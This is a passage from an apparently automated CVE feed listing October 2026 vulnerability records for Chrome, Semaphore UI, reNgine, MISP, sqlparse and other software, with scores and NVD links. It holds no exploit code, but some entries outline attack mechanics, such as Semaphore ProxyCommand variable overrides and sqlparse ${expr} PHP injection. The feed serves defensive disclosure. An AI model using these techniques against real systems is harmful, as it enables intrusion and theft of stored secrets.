Deserialization of Untrusted Data vulnerability in WP Chill Strong Testimonials strong-testimonials allows Object Injection.This issue affects Strong Testimonials: from n/a through 3.3.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### XXL-JOB 3.5.0-SNAPSHOT and earlier contains a Cross-Site Request Forgery (CSRF) vulnerability in the user management controller (JobUserController).
https://kevwire.com/record/CVE-2026-106708
XXL-JOB 3.5.0-SNAPSHOT and earlier contains a Cross-Site Request Forgery (CSRF) vulnerability in the user management controller (JobUserController). (Oct 15, 2026).
XXL-JOB 3.5.0-SNAPSHOT and earlier contains a Cross-Site Request Forgery (CSRF) vulnerability in the user management controller (JobUserController). The endpoints /user/insert, /user/update, and /user/delete lack CSRF protection and do not restrict HTTP method.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106708).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106708&date=2026-10-25).
Sources:
NVD CVE-2026-106708: https://nvd.nist.gov/vuln/detail/CVE-2026-106708
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106708&date=2026-10-25
XXL-JOB 3.5.0-SNAPSHOT and earlier contains a Cross-Site Request Forgery (CSRF) vulnerability in the user management controller (JobUserController). The endpoints /user/insert, /user/update, and /user/delete lack CSRF protection and do not restrict HTTP method.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### reNgine up to v2.2.0 and current master branch (commit de4199222cca5618f1255930ce78987e47d43a99) is vulnerable to OS Command Injection via the custom_headers scan engine...
https://kevwire.com/record/CVE-2026-104584
reNgine up to v2.2.0 and current master branch (commit de4199222cca5618f1255930ce78987e47d43a99) is vulnerable to OS Command Injection via the custom_headers scan engine... (Oct 13, 2026).
reNgine up to v2.2.0 and current master branch (commit de4199222cca5618f1255930ce78987e47d43a99) is vulnerable to OS Command Injection via the custom_headers scan engine configuration field in web/reNgine/tasks.py (fetch_url and dir_file_fuzz functions).
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104584).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104584&date=2026-10-25).
Sources:
NVD CVE-2026-104584: https://nvd.nist.gov/vuln/detail/CVE-2026-104584
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104584&date=2026-10-25
reNgine up to v2.2.0 and current master branch (commit de4199222cca5618f1255930ce78987e47d43a99) is vulnerable to OS Command Injection via the custom_headers scan engine configuration field in web/reNgine/tasks.py (fetch_url and dir_file_fuzz functions).

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DOM in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110913
Memory corruption in DOM in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 15, 2026).
Memory corruption in DOM in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110913).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110913&date=2026-10-25).
Sources:
NVD CVE-2026-110913: https://nvd.nist.gov/vuln/detail/CVE-2026-110913
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110913&date=2026-10-25
Memory corruption in DOM in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Workers in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110914
Memory corruption in Workers in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 15, 2026).
Memory corruption in Workers in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110914).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110914&date=2026-10-25).
Sources:
NVD CVE-2026-110914: https://nvd.nist.gov/vuln/detail/CVE-2026-110914
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110914&date=2026-10-25
Memory corruption in Workers in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Compositing in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110915
Use after free in Compositing in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 15, 2026).
Use after free in Compositing in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110915).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110915&date=2026-10-25).
Sources:
NVD CVE-2026-110915: https://nvd.nist.gov/vuln/detail/CVE-2026-110915
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110915&date=2026-10-25
Use after free in Compositing in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Desktop in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-110916
Improper input validation in Desktop in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 15, 2026).
Improper input validation in Desktop in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110916).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110916&date=2026-10-25).
Sources:
NVD CVE-2026-110916: https://nvd.nist.gov/vuln/detail/CVE-2026-110916
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01886704284.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110916&date=2026-10-25
Improper input validation in Desktop in Google Chrome prior to 155.0.8059.84 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Semaphore UI through 2.19.16 contains a remote code execution vulnerability that allows users with the task_runner role to override protected Ansible variables by supplying...
https://kevwire.com/record/CVE-2026-112305
Semaphore UI through 2.19.16 contains a remote code execution vulnerability that allows users with the task_runner role to override protected Ansible variables by supplying... (Oct 19, 2026).
Semaphore UI through 2.19.16 contains a remote code execution vulnerability that allows users with the task_runner role to override protected Ansible variables by supplying arbitrary keys in the task environment JSON. Attackers can POST tasks setting ansible_ssh_common_args with a ProxyCommand or ansible_connection=local to execute commands as the Semaphore server user, exposing encryption keys, SSH keys and stored secrets.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112305).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112305&date=2026-10-25).
Sources:
NVD CVE-2026-112305: https://nvd.nist.gov/vuln/detail/CVE-2026-112305
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112305&date=2026-10-25
Semaphore UI through 2.19.16 contains a remote code execution vulnerability that allows users with the task_runner role to override protected Ansible variables by supplying arbitrary keys in the task environment JSON. Attackers can POST tasks setting ansible_ssh_common_args with a ProxyCommand or ansible_connection=local to execute commands as the Semaphore server user, exposing encryption keys, SSH keys and stored secrets.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MISP contains an access control flaw in the proposal (shadow attribute) visibility logic.
https://kevwire.com/record/CVE-2026-112178
MISP contains an access control flaw in the proposal (shadow attribute) visibility logic. (Oct 19, 2026).
MISP contains an access control flaw in the proposal (shadow attribute) visibility logic. The authorization check accepted any attribute or object carrying one of the user's sharing groups without verifying the distribution level, and denied the owning organisation access to proposals on its own organisation-only attributes.

- A user belonging to a sharing group could view proposals on attributes or objects with that sharing group, regardless of the attribute's distribution level (levels 1-3 should restrict visibility)

- The owning organisation could not view proposals on its own org-only attributes

Security impact: Unauthorized disclosure of proposed attribute changes to users who should not have access based on distribution level restrictions.

Affected: <2.5.48
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112178).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112178&date=2026-10-25).
Sources:
NVD CVE-2026-112178: https://nvd.nist.gov/vuln/detail/CVE-2026-112178
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112178&date=2026-10-25
MISP contains an access control flaw in the proposal (shadow attribute) visibility logic. The authorization check accepted any attribute or object carrying one of the user's sharing groups without verifying the distribution level, and denied the owning organisation access to proposals on its own organisation-only attributes.

- A user belonging to a sharing group could view proposals on attributes or objects with that sharing group, regardless of the attribute's distribution level (levels 1-3 should restrict visibility)

- The owning organisation could not view proposals on its own org-only attributes

Security impact: Unauthorized disclosure of proposed attribute changes to users who should not have access based on distribution level restrictions.

Affected: <2.5.48

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in D-Link E15, M32, R15 and R32. This issue affects some unknown processing of the file /etc/emDaemon/passwd of the component MQTT Broker.
https://kevwire.com/record/CVE-2026-112146
A vulnerability was detected in D-Link E15, M32, R15 and R32. This issue affects some unknown processing of the file /etc/emDaemon/passwd of the component MQTT Broker. (Oct 19, 2026).
A vulnerability was detected in D-Link E15, M32, R15 and R32. This issue affects some unknown processing of the file /etc/emDaemon/passwd of the component MQTT Broker. The manipulation results in hard-coded credentials. It is possible to launch the attack remotely. The exploit is now public and may be used.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112146).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112146&date=2026-10-25).
Sources:
NVD CVE-2026-112146: https://nvd.nist.gov/vuln/detail/CVE-2026-112146
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112146&date=2026-10-25
A vulnerability was detected in D-Link E15, M32, R15 and R32. This issue affects some unknown processing of the file /etc/emDaemon/passwd of the component MQTT Broker. The manipulation results in hard-coded credentials. It is possible to launch the attack remotely. The exploit is now public and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in DeepPavlov up to 1.7.0. Impacted is the function resolve of the file deeppavlov/core/common/params.py of the component Config Reference...
https://kevwire.com/record/CVE-2026-112098
A security flaw has been discovered in DeepPavlov up to 1.7.0. Impacted is the function resolve of the file deeppavlov/core/common/params.py of the component Config Reference... (Oct 19, 2026).
A security flaw has been discovered in DeepPavlov up to 1.7.0. Impacted is the function resolve of the file deeppavlov/core/common/params.py of the component Config Reference Resolver. The manipulation results in code injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112098).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112098&date=2026-10-25).
Sources:
NVD CVE-2026-112098: https://nvd.nist.gov/vuln/detail/CVE-2026-112098
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112098&date=2026-10-25
A security flaw has been discovered in DeepPavlov up to 1.7.0. Impacted is the function resolve of the file deeppavlov/core/common/params.py of the component Config Reference Resolver. The manipulation results in code injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in ESPnet up to 202610.post2. This affects the function build_model of the file espnet3/publication/inference_model.py of the component Inference Model...
https://kevwire.com/record/CVE-2026-112086
A vulnerability was found in ESPnet up to 202610.post2. This affects the function build_model of the file espnet3/publication/inference_model.py of the component Inference Model... (Oct 19, 2026).
A vulnerability was found in ESPnet up to 202610.post2. This affects the function build_model of the file espnet3/publication/inference_model.py of the component Inference Model Handler. The manipulation of the argument _target_ results in deserialization. It is possible to launch the attack remotely. The exploit has been made public and could be used. The patch is identified as f217b24f06de55e332cab10231469d5890dbbe00. It is best practice to apply a patch to resolve this issue.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112086).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112086&date=2026-10-25).
Sources:
NVD CVE-2026-112086: https://nvd.nist.gov/vuln/detail/CVE-2026-112086
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112086&date=2026-10-25
A vulnerability was found in ESPnet up to 202610.post2. This affects the function build_model of the file espnet3/publication/inference_model.py of the component Inference Model Handler. The manipulation of the argument _target_ results in deserialization. It is possible to launch the attack remotely. The exploit has been made public and could be used. The patch is identified as f217b24f06de55e332cab10231469d5890dbbe00. It is best practice to apply a patch to resolve this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in LlamaChinese Llama-Chinese up to 6fa0fffb0dd82fe3cfaa1449ee54a5806d26ae9b. The impacted element is the function get_class_from_dynamic_module of the...
https://kevwire.com/record/CVE-2026-112080
A vulnerability was found in LlamaChinese Llama-Chinese up to 6fa0fffb0dd82fe3cfaa1449ee54a5806d26ae9b. The impacted element is the function get_class_from_dynamic_module of the... (Oct 19, 2026).
A vulnerability was found in LlamaChinese Llama-Chinese up to 6fa0fffb0dd82fe3cfaa1449ee54a5806d26ae9b. The impacted element is the function get_class_from_dynamic_module of the file examples/chat_gradio_no_merge.py of the component Adapter Config. The manipulation of the argument base_model_name_or_path results in code injection. The attack may be performed from remote. The exploit has been made public and could be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112080).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112080&date=2026-10-25).
Sources:
NVD CVE-2026-112080: https://nvd.nist.gov/vuln/detail/CVE-2026-112080
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112080&date=2026-10-25
A vulnerability was found in LlamaChinese Llama-Chinese up to 6fa0fffb0dd82fe3cfaa1449ee54a5806d26ae9b. The impacted element is the function get_class_from_dynamic_module of the file examples/chat_gradio_no_merge.py of the component Adapter Config. The manipulation of the argument base_model_name_or_path results in code injection. The attack may be performed from remote. The exploit has been made public and could be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This impacts an unknown function of the file...
https://kevwire.com/record/CVE-2026-112025
A weakness has been identified in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This impacts an unknown function of the file... (Oct 18, 2026).
A weakness has been identified in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This impacts an unknown function of the file App/Home/Controller/UserController.class.php of the component Captcha Validation. Executing a manipulation can lead to improper access controls. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112025).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112025&date=2026-10-25).
Sources:
NVD CVE-2026-112025: https://nvd.nist.gov/vuln/detail/CVE-2026-112025
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112025&date=2026-10-25
A weakness has been identified in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This impacts an unknown function of the file App/Home/Controller/UserController.class.php of the component Captcha Validation. Executing a manipulation can lead to improper access controls. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in kishan0725 Hospital Management System up to 777fda46b77a820977a5ba616283dbfbc40bf7e1. This affects the function mysqli_query of the file...
https://kevwire.com/record/CVE-2026-111990
A weakness has been identified in kishan0725 Hospital Management System up to 777fda46b77a820977a5ba616283dbfbc40bf7e1. This affects the function mysqli_query of the file... (Oct 18, 2026).
A weakness has been identified in kishan0725 Hospital Management System up to 777fda46b77a820977a5ba616283dbfbc40bf7e1. This affects the function mysqli_query of the file admin-panel.php of the component Appointment Cancellation Handler. Executing a manipulation of the argument ID can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111990).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111990&date=2026-10-25).
Sources:
NVD CVE-2026-111990: https://nvd.nist.gov/vuln/detail/CVE-2026-111990
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111990&date=2026-10-25
A weakness has been identified in kishan0725 Hospital Management System up to 777fda46b77a820977a5ba616283dbfbc40bf7e1. This affects the function mysqli_query of the file admin-panel.php of the component Appointment Cancellation Handler. Executing a manipulation of the argument ID can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in ExpressTech Quiz And Survey Master quiz-master-next allows Object Injection.This issue affects Quiz And Survey Master: from n/a...
https://kevwire.com/record/CVE-2026-111408
Deserialization of Untrusted Data vulnerability in ExpressTech Quiz And Survey Master quiz-master-next allows Object Injection.This issue affects Quiz And Survey Master: from n/a... (Oct 19, 2026).
Deserialization of Untrusted Data vulnerability in ExpressTech Quiz And Survey Master quiz-master-next allows Object Injection.This issue affects Quiz And Survey Master: from n/a through 11.2.7.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111408).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111408&date=2026-10-25).
Sources:
NVD CVE-2026-111408: https://nvd.nist.gov/vuln/detail/CVE-2026-111408
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111408&date=2026-10-25
Deserialization of Untrusted Data vulnerability in ExpressTech Quiz And Survey Master quiz-master-next allows Object Injection.This issue affects Quiz And Survey Master: from n/a through 11.2.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Path...
https://kevwire.com/record/CVE-2026-111398
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Path... (Oct 19, 2026).
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Path Traversal.This issue affects MapSVG: from n/a through 8.16.1.
CVSS 7.7 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111398).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111398&date=2026-10-25).
Sources:
NVD CVE-2026-111398: https://nvd.nist.gov/vuln/detail/CVE-2026-111398
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111398&date=2026-10-25
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Path Traversal.This issue affects MapSVG: from n/a through 8.16.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### sqlparse through 0.6.0 contains a PHP code injection vulnerability that allows attackers to inject PHP expressions by supplying SQL text containing unescaped dollar signs.
https://kevwire.com/record/CVE-2026-112307
sqlparse through 0.6.0 contains a PHP code injection vulnerability that allows attackers to inject PHP expressions by supplying SQL text containing unescaped dollar signs. (Oct 19, 2026).
sqlparse through 0.6.0 contains a PHP code injection vulnerability that allows attackers to inject PHP expressions by supplying SQL text containing unescaped dollar signs. Attackers can embed ${expr} or {${expr}} sequences that OutputPHPFilter places in double-quoted strings, executing arbitrary PHP code when the generated snippet runs.
CVSS 8.4 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112307).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112307&date=2026-10-25).
Sources:
NVD CVE-2026-112307: https://nvd.nist.gov/vuln/detail/CVE-2026-112307
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112307&date=2026-10-25
sqlparse through 0.6.0 contains a PHP code injection vulnerability that allows attackers to inject PHP expressions by supplying SQL text containing unescaped dollar signs. Attackers can embed ${expr} or {${expr}} sequences that OutputPHPFilter places in double-quoted strings, executing arbitrary PHP code when the generated snippet runs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NocoBase @nocobase/plugin-collection-sql through 2.2.28 contains an SQL injection vulnerability that allows privileged users to store unvalidated SQL by bypassing checkSQL()...
https://kevwire.com/record/CVE-2026-112306
NocoBase @nocobase/plugin-collection-sql through 2.2.28 contains an SQL injection vulnerability that allows privileged users to store unvalidated SQL by bypassing checkSQL()... (Oct 19, 2026).
